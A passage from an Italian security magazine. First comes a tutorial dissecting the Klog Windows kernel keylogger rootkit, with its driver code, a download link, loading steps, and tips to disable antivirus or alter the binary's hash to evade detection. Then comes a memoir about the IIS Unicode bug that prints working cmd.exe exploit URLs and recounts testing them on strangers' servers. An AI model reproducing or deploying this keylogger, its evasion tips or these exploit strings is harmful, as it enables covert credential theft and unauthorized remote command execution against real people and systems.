possono essere utilizzate fin da Windows 95 ed NT 3.1 per
progettare componenti malware come keylogger.
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
Esiste però una terza categoria di driver che è meno
nota ma indubbiamente più interessante dal punto di
vista della sicurezza, il Filter Driver.
Gerarchicamente parlando, per ciascun dispositivo
fisico del sistema, il PDO è l'elemento collocato più in
basso, seguito dall'FDO e quindi dagli eventuali Filter
Driver[6]. Quando si verifica un evento o una richiesta di
interazione con l'hardware in questione, questo
evento/richiesta viene prima visto dalla componente
filtro, quindi dall'FDO e poi dal bus driver (il PDO),
ovvero l'elemento più astrattamente vicino
all'hardware. Una volta soddisfatta, la richiesta/evento
fa il percorso inverso (PDO->FDO->FIlter Driver).
Se quindi lo scopo legittimo di un filter driver è quello di
“agganciarsi” allo stack delle componenti kernel che
gestiscono un dispositivo hardware filtrando le
interazioni in ingresso/uscita (ad esempio per
implementare una nuova funzionalità o risolvere un
bug nel function driver senza dover necessariamente
modificare il codice), allo stesso tempo gli usi ai fini
sovversivi di questa tecnologia sono altrettanto
evidenti. Con poco sforzo diviene infatti possibile
creare componenti come keylogger e sniffer,
attaccandosi ai device driver che gestiscono tastiera e
scheda di rete. Uno dei modi migliori per cominciare ad
addentrarsi in questo mondo parecchio vasto ed in
continua evoluzione è quindi quello di osservare da
vicino come è fatto un kernel rootkit. Per lo scopo di
quest'oggi analizzeremo il sorgente di esempio Klog[7],
un keylogger lato kernel scritto da Clandestinity,
divenuto molto celebre e diffuso in rete. Per ragioni di
spazio naturalmente nel presente articolo diversi
aspetti verranno tralasciati (ad esempio il significato di
alcuni parametri passati a certe funzioni). Questi
possono comunque essere meglio compresi
analizzando la documentazione WDK di Microsoft
Windows (riferirsi al box accanto per ulteriori
informazioni). Il codice è comunque ottimamente
commentato e tradotto in lingua italiana per i lettori di
Security System. Per una maggiore usufruibilità
dell'articolo consigliamo quindi di stamparlo e seguirlo
passo passo.
47
Quali strumenti sono necessari per iniziare a creare
un rootkit?
Il Windows Driver Kit (in passato Driver
Development Kit) è un package rilasciato
gratuitamente da Microsoft che contiene tutti gli
strumenti e la documentazione utili per la creazione di
un ambiente di sviluppo e test di driver per Windows.
Per prelevare il kit nel momento in cui si scrive è
necessario loggarsi (o preventivamente registrarsi) con
u n a c c o u n t p a s s p o r t a l s i t o
http://connect.microsoft.com/.
First Steps
Come già detto un filter driver opera mediante un hook.
Questo “aggancio” avviene in modo trasparente,
ovvero i driver di livello inferiore non sono allertati della
presenza del filtro che può così agire in totale libertà per
nascondere/modificare dati o semplicemente per
intercettarli in modo silenzioso. Tali dati vengono
scambiati per mezzo degli IRP (I/O Request Packet),
una struttura allocata dall'I/O Manager di Windows[8]
proprio per consentire la comunicazione tra i vari
device driver. La prima funzione invocata quando un
driver viene caricato in memoria è DriverEntry (un po'
come l'entry point di una comune applicazione in C è il
corpo main ed in una DLL la funzione DllMain) :
DriverEntry(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING RegistryPath )
[6] Non sempre questo è vero. I filter driver si distinguono infatti in
low ed upper filter. Quelli appartenenti alla prima categoria
risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia
sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai
casi più interessanti perché sono in grado di intercettare i dati
passanti ancora prima del driver vero e proprio (ovvero del function
driver).
[7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz
[8] Componente di Windows che si occupa di veicolare le richieste
di Input/Output allo strato kernel e permette il
caricamento/scaricamento dinamico dei driver.
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
Uno dei primi compiti che viene svolto all'interno di
DriverEntry è quello di popolare l'IRP dispatch
table, un'array in cui vengono definiti dei puntatori a
delle funzioni che gestiscono opportunamente le
richieste pervenute al driver. Poiché il mancato
recapito di tali richieste dal filtro ai driver di livello
inferiore precluderebbe certamente la corretta
interazione dell'utente con il dispositivo associato, i
filter driver devono supportare tutti gli IRP Request
implementati dal driver di livello più basso. Di solito si
limitano quindi a definire una funzione di pass-thru[9]
per ogni possibile richiesta IRP (nell'esempio sotto
DispatchPassDown), salvo poi impostarne una
specifica per le richieste reputate di interesse (sempre
nell'esempio sotto DispatchRead). Nel caso di un
keyboard filter driver questo interesse è interamente
volto ad intercettare le richieste di lettura
(IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti
dall'utente):
for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION;
i++)
pDriverObject->MajorFunction[i] =
DispatchPassDown;
pDriverObject->MajorFunction[IRP_MJ_READ] =
DispatchRead;
[9] Una funzione di pass-thru si limita semplicemente a
passare inalterati gli IRP, ovvero le richieste pervenute, al
driver di livello inferiore.
Il percorso compiuto da un IRP
Quando l'utente preme un tasto nella tastiera, l'I/O Manager del sistema operativo genera una richiesta IRP vuota
(IRP_MJ_READ) che attraversa tutta la catena dei device driver (Figura 1) fino al controller i8042 (quello preposto alla
gestione dell'hardware in questione). A questo punto all'interno dell'IRP viene collocato lo scancode (nient'altro che un
identificativo numerico che corrisponde al tasto premuto) e la richiesta viene inoltrata verso l'alto, ovvero compie il percorso
inverso. Tuttavia per vederla ritornare, il filter driver deve impostare una Completation Routine nel momento in cui riceve
l'IRP vuoto, una specie di marchio che ha un significato del tipo “voglio rivederti una volta che avrai lo scancode al tuo
interno”. Questo è il momento in cui un keylogger interviene. Ottenuto lo scancode, il keylogger deve convertirlo
all'effettivo tasto premuto utilizzando un'apposita tabella di conversione. Le tabelle di conversione possono essere
implementate attraverso delle keymap, vere e proprie mappe di caratteri che variano anche in modo parecchio consistente
in base al layout della tastiera (cioè alla lingua configurata nel sistema).
LIVELLO LOGICO
LIVELLO LOGICO
Keyboard Filter
Driver (Rootkit)
“Klog.sys”
Rootkit Device Object
(Senza nome)
Keyboard class
driver
“Kbdclass.sys”
/device/keyboardclass0
Keyboard bus
driver
“i8042prt.sys”
Device Object senza nome
Catena dei Device Object
Catena dei driver
8042 Keyboard controller
LIVELLO FISICO
Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e
device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo.
48
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
Il passo successivo consiste nel creare un Device
Object da agganciare alla componente interessata.
All'interno della funzione HookKeyboard presente in
KbdHook.c, questo task viene svolto invocando
IoCreateDevice:
PDEVICE_OBJECT pKeyboardDeviceObject;
menzionato in precedenza:
RtlZeroMemory(
pKeyboardDeviceObject->DeviceExtension,
sizeof(DEVICE_EXTENSION)
);
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->
DeviceExtension;
NTSTATUS status = IoCreateDevice(
pDriverObject,
sizeof(DEVICE_EXTENSION),
NULL, //no name
FILE_DEVICE_KEYBOARD,
0,
true,
&pKeyboardDeviceObject
);
Si tratta di un struttura custom che i kernel developer
utilizzano per memorizzare informazioni di vario genere
utili al corretto espletamento delle attività del driver. Nel
caso di Klog questa struttura è definita nel file header
“Klog.h” ed il suo contenuto sarà più evidente in
Gli argomenti degni di nota della funzione
IoCreateDevice sono il secondo che rappresenta la
dimensione di DEVICE_EXTENSION (una struttura che
verrà inizializzata successivamente e che conterrà dei
campi driver-specific) ed il terzo che rappresenta
invece il nome assegnato al Device Object. In questo
caso l'oggetto sarà senza nome in quanto le
applicazioni User Land non avranno necessità di
interagire direttamente con esso[10]. Il quarto ed il
settimo argomento indicano rispettivamente il tipo di
Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo
che punta alla variabile pKeyboardDeviceObject che
riceverà il puntatore all'oggetto creato. Il primo
argomento è invece il puntatore al DriverObject
ottenuto come primo parametro della funzione
DriverEntry.
Per effettuare l'hooking vero e proprio sono necessari
altri due step. Anzitutto il Device Object appena creato
deve emulare gli stessi flag del driver sottostante. Uno
strumento come Device Tree[11] può essere utilizzato
per determinare tali flag:
pKeyboardDeviceObject->Flags =
pKeyboardDeviceObject->Flags |
(DO_BUFFERED_IO |
DO_POWER_PAGABLE
);
Dopo si deve inizializzare il Device Extension
49
seguito. A questo punto si può finalmente precedere
all'hooking del Driver Device Object interessato.
L'aggancio viene eseguito, a partire dal nome
identificativo dell'oggetto in questione, con la funzione
IoAttachDevice. Ma a cosa agganciarci esattamente?
Esistono diversi punti di inserzione candidati per questo
scopo. Klog si aggancia tuttavia al Device Object
“\\Device\\KeyboardClass0“ gestito dal driver
kbdclass.sys. Si tratta di un Class Driver, ovvero un
tipo di device driver che gestisce degli hardware che
possono essere genericamente correlati ad una classe
ben definita di dispositivi o che hanno delle “funzioni” in
comune:
IoAttachDevice(
pKeyboardDeviceObject,
&uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice
);
[10] Un nome ad un Device Object viene solitamente assegnato
quando l'oggetto in questione deve comunicare con una o più
applicazioni lato utente, ricevendo da esse delle direttive ben
precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che
implementa delle funzionalità di firewalling, l'applicazione user land
che consente all'utente di configurare le regole deve poter
comunicare in qualche modo con il relativo Device Object per
aggiungerle o rimuoverle dinamicamente.
[11] Le dipendenze e l'organizzazione stratificata dei device driver
nel proprio sistema possono essere osservate con uno strumento
come DeviceTree disponibile previa registrazione dal sito
http://www.osronline.com
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
Il primo parametro alla funziona indica il Device Object
creato in precedenza con IoCreateDevice. Il secondo
è invece l'indirizzo alla stringa che contiene il nome
dell'oggetto che si sta hookando
(\\Device\\KeyboardClass0) debitamente convertita
in Unicode (tale conversione avviene un attimo prima
nel codice). IoAttachDevice ritorna anche un
puntatore al Device Object appena agganciato. Questo
viene memorizzato nel campo pKeyboardDevice della
struttura Device Extension per permettere al filtro di
passare correttamente gli IRP che riceverà al driver
sottostante.
Il primo parametro passato a PsCreateSystemThread
è un handle dichiarato poco prima nel codice (HANDLE
hThread;) mentre il sesto corrisponde all'entry point
del thread che nel nostro caso verrà creato a partire dal
codice presente nella funzione (ThreadKeyLogger).
L'ultimo argomento è il puntatore al Device Extention.
Come vedremo in seguito il thread utilizzerà alcuni dei
campi contenuti in questa struttura per sincronizzarsi
con la Completation Routine man mano che questa
intercetterà gli scancode presenti negli IRP e per
loggare su file i tasti convertiti. All'interno di
ThreadKeyLogger, il flusso di esecuzione del thread si
blocca alla chiamata KeWaitForSingleObject in
Il Worker Thread
Adesso che l'hooking è completato in teoria siamo
pronti ad intercettare e loggare i dati in arrivo. La parola
“teoria” non assume qui un significato casuale. Infatti
mentre per espletare il primo task non sono richieste
particolari accortezze, il logging è un'operazione più
difficile da espletare in un driver poiché le operazioni di
input/output sui file possono avvenire solamente ad un
livello denominato IRQL_PASSIVE_LEVEL, mentre la
Completation Routine (si veda il box a pagina 48) può
essere richiamata solamente al livello
DISPATCH_LEVEL, che è caratterizzato dalla
presenza di alcune limitazioni tra le quali appunto le
operazioni di I/O sui file. Per bypassare questo
problema, Klog subito dopo l'hooking, crea un thread
che sarà responsabile di loggare i tasti premuti. La sua
inizializzazione avviene nella funzione
“InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il
punto più importante qui è proprio relativo alla
creazione del thread con PsCreateSystemThread:
PsCreateSystemThread(
&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pKeyboardDeviceExtension
);
attesa che gli scancode contenuti negli IRP che
“risalgono” dalla catena siano disponibili nella coda.
Questa coda viene creata in DriverEntry subito dopo
il ritorno della funzione InitThreadKeyLogger con le
chiamate
a
InitializeListHead,
KeInitializeSpinLock e KeInitializeSemaphore:
Il file di log
All'interno del blocco principale DriverEntry viene
quindi creato con la funzione ZwCreateFile il file in cui
verranno loggati i tasti premuti:
ZwCreateFile(
&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
La funzione ZwCreateFile prende una serie di
argomenti tra i quali i permessi di accesso al file,
l'indirizzo della variabile in cui verrà memorizzato il suo
descrittore (il campo hLogFile nella struttura Device
Extension) e gli attributi che descrivono l'oggetto
50
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
(obj_attrib). Tra questi attribuiti vi è anche la stringa
che specifica il nome del file, convertita in formato
Unicode e dichiarata poco prima nel codice come:
CCHAR ntNameFile[64] =
"\\DosDevices\\c:\\klog.txt";
Come già detto in precedenza il file di log una volta
creato potrà essere scritto solamente da un thread
caricante a livello IRQL_PASSIVE_LEVEL (il worker
thread creato nel paragrafo prima). A questo punto il
blocco DriverEntry termina dopo aver popolato il
campo DriverUnload del puntatore al driver object:
pDriverObject->DriverUnload = Unload;
La funzione Unload viene invocata quando il driver
viene rimosso dalla memoria. Il suo scopo è quello di
liberare tutte le risorse allocate durante la sua
esecuzione. Klog è solo un Proof Of Concept (un codice
dimostrativo) ed in quanto tale cerca di “uscire” dalla
memoria in modo pulito senza generare alcun crash del
sistema. Un rootkit nel mondo reale mira invece a
rimanere in memoria per il più lungo arco temporale
possibile senza essere rimosso, pertanto la funzione di
scaricamento viene usualmente e di proposito lasciata
vuota. Nella maggior parte dei casi ciò causerà un Blue
Screen Of Death dopo ogni tentativo di rilascio del
driver da user space.
Cominciano ad arrivare gli IRP…
pervenuta. Ma cosa è esattamente uno Stack
Location? Seppure ciascun IRP sia un'unica grande
struttura allocata in memoria, la sua dimensione varia in
base al numero di driver presenti nella catena. In parole
povere per ogni driver presente nella catena, l'I/O
Manager aggiunge uno spazio extra nell'IRP
denominato appunto IO_STACK_LOCATION in cui
vengono collocati i parametri specifici della richiesta
ricevuta. A questo punto l'IRP viene instradato verso il
driver di livello inferiore con la funzione IoCallDriver.
Il primo parametro di questa funzione è proprio
l'indirizzo in cui si trova il device object del driver più in
basso (memorizzato nella variabile puntatore
pKeyboardDevice del Device Extension al momento
dell'hook) mentre il secondo è il puntatore all'intera
struttura IRP(pIrp):
IoCallDriver(
((PDEVICE_EXTENSION)
pDeviceObject->DeviceExtension)->
pKeyboardDevice,
pIrp
);
Un pò più complessa è la funzione DispatchRead
dichiarata in kbdhook.c che invece gestisce la
ricezione delle richieste IRP_MJ_READ. Per ogni IRP di
questo tipo la funzione deve infatti impostare la
C o m p l e t a t i o n R o u t i n e c o n
IoSetCompleationRoutine, questo però dopo aver
predisposto correttamente lo Stack Location:
Gli IRP che il filter driver riceve da questo momento in
poi possono essere collocati in due categorie: richieste
di lettura (IRP_MJ_READ) equivalenti alla pressione di
un tasto o tutte le altre richieste. Quelle appartenenti
alla seconda categoria vengono gestite dalla funzione
di pass-thru DispatchPassDown dichiarata in klog.c.
Sono un paio le operazioni base svolte al suo interno.
D a p p r i m a
c o n
l a
m a c r o
IoSkipCurrentIrpStackLocation viene modificato il
puntatore all'array di strutture IO_STACK_LOCATION in
modo che il driver di livello inferiore possa accedere alla
stessa struttura[12] ricevuta dal filter. Ciò consente di
lasciare assolutamente inalterata la richiesta
51
[12] Come vedremo più avanti questo task può essere eseguito in
diversi modi, ad esempio manipolando direttamente i puntatori
ritornati da IoGetCurrentIrpStackLocation e
IoGetNextIrpStackLocation oppure utilizzando la funzione
IoCopyCurrentIrpStackLocationToNext
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
PIO_STACK_LOCATION currentIrpStack
= IoGetCurrentIrpStackLocation(pIrp);
PKEYBOARD_INPUT_DATA keys =
(PKEYBOARD_INPUT_DATA)pIrp->
AssociatedIrp.SystemBuffer;
PIO_STACK_LOCATION nextIrpStack =
IoGetNextIrpStackLocation(pIrp);
int numKeys = pIrp->
IoStatus.Information
/ sizeof(KEYBOARD_INPUT_DATA);
*nextIrpStack = *currentIrpStack;
IoSetCompletionRoutine(
pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE
);
Quindi per ciascun elemento prelevato dall'array
aggiunge nella coda le informazioni di interesse (lo
scancode ed i flags che indicano se il tasto è stato
p r e m u t o o r i l a s c i a t o ) c o n
ExInterlockedInsertTailList . Gli elementi
vengono inseriti uno alla volta.
L'argomento più importante passato a
IoSetCompletionRoutine è il secondo. Questo
specifica la funzione di callback che verrà invocata
quando l'IRP sarà completato (ovvero quando da
richiesta “vuota” attraverserà la catena con lo scancode
corrispondente al tasto premuto dall'utente). Anche in
questo caso l'IRP viene passato al driver di livello
inferiore con IoCallDriver.
Il Worker Thread a questo punto viene allertato della
presenza di dati nella coda, li estrapola con la macro
CONTAINING_RECORD e converte ciascuno scancode
nell'effettivo tasto premuto passando questi dati alla
funzione ConvertScanCodeToKeyCode (dichiarata
all'interno di scancode.c). Al ritorno da questa funzione
il Worker Thread registra su file il tasto effettivamente
premuto con ZwWriteFile:
quello di estrapolare gli scancode e posizionarli nella
coda tenuta sotto controllo dal Worker Thread in modo
che questo possa convertirli in appositi tasti da loggare
su file. Dapprima Klog si assicura che l'IRP ritornato sia
stato “completato” con successo, ovvero abbia “a
bordo” uno o più scancode:
ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL
);
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
Gli argomenti più importanti a ZwWriteFile sono tre. Il
In seguito preleva da SystemBuffer un array di
primo indica il descrittore al file memorizzato nella
Device Extension Area. Il sesto è il buffer che si deve
scrivere ed il settimo la sua dimensione in byte[13].
Fase finale: Intercettazione e logging
Lo scopo della funzione OnReadCompletation è quindi
strutture KEYBOARD_INPUT_DATA (in cui è presente il
membro MakeCode che è proprio preposto al
contenimento
dello scancode) e da
IoStatus.Information la dimensione di questo
[13] Non tutti i tasti premuti equivalgono in dimensione ad un byte.
Alcuni tasti definiti estesi possono dare vita a più byte. Ad esempio il
tasto Invio genera contemporaneamente i byte “ritorno a carrello”
(0x0a) e “nuova linea” (0x0d).
array:
52
look at
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
stratificato di Windows
WINDOWS
file C:\Klog.txt. Questo non potrà essere aperto
Testare il funzionamento di Klog
A questo punto del codice possiamo dire che tutti i
principali aspetti di un keyboard filter driver sono stati
coperti (si rimanda per maggiore completezza, se non
lo si è fatto fino ad ora, ai sorgenti commentati). Adesso
però è il momento di un po' di pratica! Per testare il
funzionamento di Klog nel vostro sistema (quelli da noi
testati sono stati Windows 2000 Sp4 e Windows XP
SP2) potete procedere in due modi. Il primo è quello più
semplice. Prelevate dal riferimento [7] il driver rootkit già
compilato (Klog.sys[14]) ed il tool InstDrv.exe.
Lanciate quest'ultimo. Nel text box inserite il percorso
completo in cui avete copiato il .sys, quindi cliccate
dapprima sul pulsante “Install” e dopo su “Start”. Un
messaggio di avviso vi dovrebbe avvertire della corretta
riuscita dell'operazione. A questo punto il rootkit è in
esecuzione in memoria e dovreste accorgervene anche
dalla presenza nel vostro hard disk del file
C:\Klog.txt. Digitate un po' di tasti (ad esempio
provate ad inviare una email o loggarvi alla vostra
webmail protetta con SSL). Al termine cliccate sul
pulsante “Stop” di InstDrv ed osservate il contenuto del
mentre il driver è in esecuzione. Per tale motivo è
necessario scaricare il rootkit dalla memoria per potervi
accedere o eventualmente trovare un metodo
alternativo (ad esempio modificare il sorgente in modo
che i tasti loggati vengano inviati per email o “sparati”
fuori attraverso altri meccanismi).
Il secondo metodo richiede invece uno step preventivo
in più: la compilazione dei sorgenti. Installato il WDK
(reperibile dove indicato nel Box a pagina 47) cliccate
su Start, Programmi, Windows Driver Kit, WDK6000,
Build Environments e selezionate il tipo di sistema
operativo in cui il rootkit dovrà essere caricato.
Scegliete l'icona del prompt dei comandi marcata come
“Checked”, quindi all'apertura dell'interprete spostatevi
con il comando DOS “cd” nella cartella in cui sono
contenuti i sorgenti di Klog e lanciate il comando
“build”. Al termine della compilazione l'oggetto binario
verrà collocato all'interno della sottodirectory “bin”.
Svolgete le operazioni descritte in precedenza per
caricarlo e testarlo.
Scopri qui http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz
i contenuti extra messi a disposizione della redazione per questo articolo.
[14] Probabilmente klog.sys verrà identificata come una
componente infetta dal vostro antivirus, quindi per continuare a
svolgere il test dovrete momentaneamente disattivarlo. In
alternativa si può modificare il sorgente di klog quel minimo da far
apparire diverso l'hash del binario ricompilato così da azzittire le
misure di protezione installate nel sistema.
53
Racconti dall’ underground
LA VERA STORIA
DELL’ UNICODE BUG
che ti sistema a vita con uno stipendio modesto come
certe leggende metropolitane vorrebbero far credere.
Forse una volta….But no more!
I
l tema dell'etica hacking è uno dei più dibattuti da
oltre vent'anni e questo a dispetto della lunga
datazione di uno dei primi documenti, possiamo
definire cardine della cultura hacker primordiale, The
Conscience of a Hacker[1] (anche noto come The
Hacker Manifesto), apparso per la prima volta l'8
gennaio del 1986 nel numero 7 di Phrack. Scritto da
The Mentor dopo il suo arresto, oggi diffuso in
svariati siti web, rappresenta ancora la principale
fonte di ispirazione per molti hacker o sedicenti tali,
persone “ispirate” in gran parte della casistica a
commettere deface: “Ma The Hacker Manifesto non
dice esplicitamente che non si può defacciare un sito
Web!” E come potrebbe?? D'altronde è stato scritto
prima ancora che Tim Berners-Lee assieme a
Robert Cailliau progettassero le specifiche
preliminari di HTTP ed HTML ed il concetto di World
Wide Web a cavallo tra il 1989 ed il 1990! La
sensazione al momento, parlando appunto di “etica
hacking”, pare essere che ci si stia allontanando
sempre più dalla meta, utilizzando pretesti farlocchi
per giustificare azioni oggettivamente senza senso,
utili forse ad esaltare unicamente un ego alterato e
represso. Ad esempio, dove sta la ricerca della
conoscenza e dell'informazione nel defacciare il sito
del comune di Sant'Ilario dello Ionio o di Monastir in
quel di Cagliari come realmente accaduto negli ultimi
mesi?
I fatti
Tutto ebbe inizio con un post anonimo nel forum di
Packetstorm il 10 ottobre del 2000:
Title: IIS5 has a very big bug that
let you execute arbitrary command
On my win2000+IIS5 ,I can use this URL
to execute dir command:
http://127.0.0.1/scripts/..%c1%1c../wi
nnt/system32/cmd.exe?/c+dir+c:\
and this is a example:
http://www.linux.org.cn/scripts/..%c1%
1c../winnt/system32/cmd.exe?/c+dir+c:\
Il contenuto del messaggio era auto-esplicativo e
descriveva quello che sarebbe passato alla storia
come l'IIS Unicode Bug. La vulnerabilità permetteva
di eseguire remotamente qualsiasi comando su un
sistema in cui era installato Internet Information
Services 5.0, il web server Microsoft in dotazione di
default con Windows 2000, semplicemente digitando
la stringa descritta nel post all'interno di un qualsiasi
browser web. Il problema risiedeva apparentemente
nel modo in cui il servizio gestiva i caratteri Unicode,
decodificandoli solo successivamente anziché prima
della validazione del percorso e della risorsa richiesta
dall'utente. Inutile dire che www.linux.org.cn fu
bucato in quelle ore da migliaia di provetti hacker ed
infestato dalle peggiori backdoor che potessero
esistere nella rete. Davvero strano il destino di questo
sito i cui contenuti, residenti su piattaforma
proprietaria Microsoft, miravano invece ad informare
gli utenti dell'esistenza del movimento open source e
del sistema operativo Linux. Oggi in quel server ci
gira una Debian con Apache. Come hanno dichiarato
alcuni miei amici profondi sostenitori delle tecnologie
aperte, probabilmente chi gestiva quel sistema ha
imparato la lezione.
Quella che vi proponiamo oggi è una storia come
tante altre, una storia dalla quale presumiamo, anzi
siamo convinti, si possa trarre una morale (in fondo le
storie dovrebbero servire proprio ad imparare non
solo dagli errori personali ma anche e soprattutto da
quelli commessi dagli altri). Si parla di un ragazzo
stupido e fortunato allo stesso tempo. Forse non un
hacker. Una persona che ammette di aver compiuto
delle azioni “incaute” per uno scopo ben preciso
(sicuramente opinabili) ma che aldilà della rabbia che
aveva dentro non è stato così codardo da
prendersela con il primo di turno, che ha deciso
piuttosto di “piegare il sistema” per raggiungere il suo
obiettivo, non prenderlo a martellate! Perché non
sono tutte rose e fiori. Se ti beccano oggi non vai a
lavorare per la NASA o per una grossa multinazionale
[1] http://www.phrack.org/archives/7/P07-03
54
Racconti dall’ underground
Tornando alla storia dei fatti, in realtà esisteva un
grosso impedimento. Il trucco descritto nel post di
Packetstorm funzionava solamente sui server cinesi.
Quelli europei ed americani sembravano non essere
minimamente intaccati dal problema. Iniziai quindi a
cercare di capire il perché. A quel tempo non avevo la
minima conoscenza del set di caratteri Unicode.
Installai Windows 2000 Server sulla mia LAN di casa
e cominciai velocemente a documentarmi su di esso.
Appresi i concetti base e cominciai a pensare tra me e
me che i cinesi utilizzavano sicuramente un set di
caratteri diverso rispetto a quello adottato in Italia. La
chiave di volta risiedeva quindi probabilmente nel
trovare la giusta sequenza di caratteri Unicode
funzionante sui server Windows che supportavano la
lingua inglese ed italiana. Scrissi allora un piccolo
programma in C che testava ciclicamente delle
occorrenze differenti di “%c1%1c” (quella a sua
LA VERA STORIA
DELL’ UNICODE BUG
problema. Prima che la vulnerabilità divenisse celebre
io ero comunque già al corrente di questo fatto.In realtà
ci avevo sbattuto il grugno per diverse
ore perché dopo aver installato Windows 2000 nella
mia LAN di casa e trovato la corretta sequenza di
caratteri Unicode, avevo aggiornato il server con tutte
le patch disponibili del momento e dopo il reboot non
ero più riuscito a replicare il problema durante i test
successivi. Ci volle un bel po' prima che riuscissi ad
individuare la patch che rendeva nulla la falla. Allora più
di oggi installare gli aggiornamenti del sistema
operativo era comunque un optional quasi per
chiunque (sia che fosse un'azienda, sia che fosse un
semplice utente desktop) ed è per questo motivo che i
worm ed i virus che sfruttarono in seguito l'Unicode Bug
per diffondersi in rete, hanno potuto scorrazzare
liberamente per anni prima di essere quasi del tutto
debellati (ma questa è una questione che affronteremo
in seguito). La patch MS00-57[2] menzionata nel
bollettino MS00-78[3] non l'aveva insomma installata,
fino a quel momento, quasi nessuno. Oggi proprio per
questa sorta di negligenza, insita possiamo definire
“built-in” nella maggior parte degli utenti, sono molti i
vendor che hanno cominciato ad includere nei loro
software delle procedure automatiche di
aggiornamento. Avast ad esempio non mi avverte
nemmeno più di stare lanciando un update delle
definizioni antivirus e me ne accorgo solo quando la
spia rossa del mio hard disk comincia a lampeggiare
come un'autoambulanza ed il PC si blocca per qualche
secondo! Alla fine, dopo svariati tentativi con IP
pubblici, mi accorsi che ad essere vulnerabili
all'Unicode Bug erano tutte le versioni di IIS (a partire
dalla 5.0 montata su Windows 2000 fino al primordiale
release 2.0 delle versioni precedenti del sistema
operativo Microsoft). Il calendario del mio PC segnava
a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel
momento nessuno aveva replicato al post originario sul
forum di Packetstorm, né comunicato su qualunque
altro una scoperta simile alla mia.
volta menzionata nel post di Packetstorm). Ciascuna
occorrenza veniva poi automaticamente inviata al
web server, nel tentativo di eseguire il comando “dir
c:\”. Poi osservavo le risposte ritornate alla ricerca
di un output favorevole. Alla fine trovai un'occorrenza
funzionante in “%c0%af”. Questa fu la prima ed
ultima che scoprì. Più avanti altri ricercatori molto più
curiosi di me avrebbero testato tutte le combinazioni
Unicode possibili trovandone altre utilizzabili. A
questo punto aprì il mio browser, presi dalla lista di
una scansione fatta in precedenza il primo indirizzo
IP pubblico a cui sembrava rispondere un web server
IIS ed incollai lì la stringa:
“http://Indirizzo_IP/scripts/..%c0%af.
./winnt/system32/cmd.exe?/c+dir+c:\”
Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto
Invio. Tutto andò come previsto. Il server in questione
mi ritornò in output le directory del suo volume C. Ero
riuscito a riprodurre la vulnerabilità non solo in locale
ma anche su Internet. Testai altri indirizzi IP
ottenendo gli stessi risultati positivi. Tutti i server,
nessuno escluso, risultavano essere vulnerabili. Più
avanti quando Microsoft cominciò a prestare
attenzione all'Unicode Bug si apprese che una patch
rilasciata dalla compagnia nell'agosto del 2000, per
uno scopo completamente differente, risolveva già il
[2] http://www.microsoft.com/technet/security/bulletin/ms00057.mspx
[3] http://www.microsoft.com/technet/security/bulletin/ms00078.mspx
55
Racconti dall’ underground
Avevo in pratica sotto controllo un paio di milioni di
web server in tutto il mondo! Uno 0day di questo tipo
oggi farebbe la fortuna di molti criminali online.
In realtà la pacchia durò meno di una settimana. Il 17
ottobre dello stesso anno, il ricercatore di sicurezza
noto con il nickname RFP (Rain Forest Puppy) svelò
quello che io avevo già scoperto da cinque giorni. Nel
frattempo non ero rimasto con le mani in mano.
Cinque giorni nel conoscere una vulnerabilità così
importante sono un notevole vantaggio se sfruttati
adeguatamente. Impiegai questo vantaggio
barattando la mia scoperta in cerca di un lavoro,
ovvero cercando di impressionare favorevolmente
qualche azienda. Oggi, con il senno del poi, tiro un
sospiro di sollievo e comprendo che mi è andata
davvero bene. Avrei potuto rischiare grosso ma il
gioco all'epoca mi sembrava che valesse la candela.
Avevo 19 anni ed ero disoccupato. Nessuna
compagnia era disposta ad assumermi o darmi un
lavoro perché non avevo ancora adempiuto agli
obblighi militari…e ripensandoci, allora avevo una
rabbia da anarchico insoddisfatto che riuscivo a
placare a malapena, soprattutto quando mi trovavo di
fronte all'evidenza di tante prospettive di lavoro
rovinate o mancate a causa di quello stupido
adempimento obbligatorio che era la leva.
LA VERA STORIA
DELL’ UNICODE BUG
La telefonata alla Banca di Roma
“Banca di Roma buongiorno, sono XXXX come
posso aiutarla?” – rispose una voce femminile
dall'altra parte del telefono.
“Si salve” – dissi io con la voce spezzata ed impaurita
di un ragazzo che aveva appena realizzato di stare
commettendo una grossa stupidaggine – “sto
chiamando per segnalare una pericolosa falla nel
vostro sito web”.
